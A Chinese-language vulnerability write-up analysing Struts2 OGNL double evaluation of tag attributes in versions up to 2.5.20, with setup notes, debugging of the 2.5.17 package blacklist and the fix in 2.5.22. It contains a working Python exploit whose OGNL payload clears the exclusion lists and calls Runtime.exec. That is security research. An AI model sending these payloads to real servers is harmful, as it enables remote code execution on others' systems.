前言
经典 Java 软件漏洞 struts 系列,准备一个个看过去。
环境搭建
影响版本Struts 2.0.0 - Struts 2.5.20,这里使用struts 2.5.20。
根据官方描述,问题出在struts2会对标签中的某些属性(如id)的值进行双重评估,修改模板文件:
<s:a id="%{username}" href="%{url}">List available Employees</s:a>
结果部署时出问题了:
[2022-04-15 10:44:26,465] Artifact struts2:war exploded: Error during artifact deployment. See server log for details.
Log:
java.lang.NoClassDefFoundError: javax/servlet/Filter
根据参考文章,应该是Tomcat版本问题,引用的包发生了变化,换成Tomcat9,成功部署,其他代码不没有改动。
此时访问:
http://localhost:8080/login.action?username=%25%7B8*8%7D
可以看到:
<a id="64" href="">List available Employees</a>
模板文件中的id值%{url}进行了双重评估,发生了表达式注入。
漏洞利用
同S2-057的payload:
# -*- coding:utf8 -*-
import requests
url = "http://localhost:8080/login.action"
data1 = {
"username": "%{(#context=#attr['struts.valueStack'].context).(#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.setExcludedClasses('')).(#ognlUtil.setExcludedPackageNames(''))}"
}
data2 = {
"username": "%{(#context=#attr['struts.valueStack'].context).(#context.setMemberAccess(@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS)).(@java.lang.Runtime@getRuntime().exec('calc'))}"
}
res1 = requests.post(url, data=data1)
print(res1.text)
res2 = requests.post(url, data=data2)
print(res2.text)
但是打不通,换成参考文章中使用的2.5.16版本的struts2就打通了,Struts 2.5.17也打不通,问题应该就出在Struts 2.5.17上面了。
在Struts 2.5.17中,此时通过:
#attr['struts.valueStack'].context
无法获取到OgnlValueStack中的context,调试找到OgnlRuntime类的getFieldValue函数中:
if (checkAccessAndExistence) {
if ((f == null) || !context.getMemberAccess().isAccessible(context, target, f, propertyName)) {
result = NotFound;
}
}
到这里为止的代码Struts 2.5.16和Struts 2.5.17没有区别,区别在context.getMemberAccess()会获得一个版本不同的SecurityMemberAccess类进行黑名单验证:
Class targetClass = target.getClass();
Class memberClass = member.getDeclaringClass();
...
if (isPackageExcluded(targetClass.getPackage(), memberClass.getPackage())) {
LOG.warn("Package of target [{}] or package of member [{}] are excluded!", target, member);
return false;
}
黑名单如下:
[ognl., freemarker.core., javax., freemarker.ext.rhino., javassist., com.opensymphony.xwork2.security., sun.reflect., com.opensymphony.xwork2.ognl., freemarker.template., com.opensymphony.xwork2.util.]
因为OgnlValueStack的package为com.opensymphony.xwork2.ognl,所以就触发了黑名单,无法获取其中的成员字段。
黑名单存放在struts-default.xml中:
<constant name="struts.excludedClasses"
value="
java.lang.Object,
java.lang.Runtime,
java.lang.System,
java.lang.Class,
java.lang.ClassLoader,
java.lang.Shutdown,
java.lang.ProcessBuilder,
com.opensymphony.xwork2.ActionContext" />
<!-- this must be valid regex, each '.' in package name must be escaped! -->
<!-- it's more flexible but slower than simple string comparison -->
<!-- constant name="struts.excludedPackageNamePatterns" value="^java\.lang\..*,^ognl.*,^(?!javax\.servlet\..+)(javax\..+)" / -->
<!-- this is simpler version of the above used with string comparison -->
<constant name="struts.excludedPackageNames"
value="
ognl.,
javax.,
freemarker.core.,
freemarker.template.,
freemarker.ext.rhino.,
sun.reflect.,
javassist.,
com.opensymphony.xwork2.ognl.,
com.opensymphony.xwork2.security.,
com.opensymphony.xwork2.util." />
漏洞分析
给ASTProperty的getValueBody函数下个断点,往前找到UIBean类的populateComponentHtmlId函数:
protected void populateComponentHtmlId(Form form) {
String tryId;
String generatedId;
if (id != null) {
// this check is needed for backwards compatibility with 2.1.x
tryId = findStringIfAltSyntax(id);
}
...
}
findStringIfAltSyntax:
protected String findStringIfAltSyntax(String expr) {
if (altSyntax()) {
return findString(expr);
}
return expr;
}
调用了findString解析表达式。
漏洞修复
在Struts 2.5.22中,struts-default.xml改了一下,黑名单变多了:
<constant name="struts.excludedClasses"
value="
java.lang.Object,
java.lang.Runtime,
java.lang.System,
java.lang.Class,
java.lang.ClassLoader,
java.lang.Shutdown,
java.lang.ProcessBuilder,
sun.misc.Unsafe,
com.opensymphony.xwork2.ActionContext" />
<!-- this must be valid regex, each '.' in package name must be escaped! -->
<!-- it's more flexible but slower than simple string comparison -->
<!-- constant name="struts.excludedPackageNamePatterns" value="^java\.lang\..*,^ognl.*,^(?!javax\.servlet\..+)(javax\..+)" / -->
<!-- this is simpler version of the above used with string comparison -->
<constant name="struts.excludedPackageNames"
value="
ognl.,
java.io.,
java.net.,
java.nio.,
javax.,
freemarker.core.,
freemarker.template.,
freemarker.ext.jsp.,
freemarker.ext.rhino.,
sun.misc.,
sun.reflect.,
javassist.,
org.apache.velocity.,
org.objectweb.asm.,
org.springframework.context.,
com.opensymphony.xwork2.inject.,
com.opensymphony.xwork2.ognl.,
com.opensymphony.xwork2.security.,
com.opensymphony.xwork2.util." />
不知道修的是什么绕过方法,但是表达式执行点没修,也就是说绕过了沙盒这里还是能打。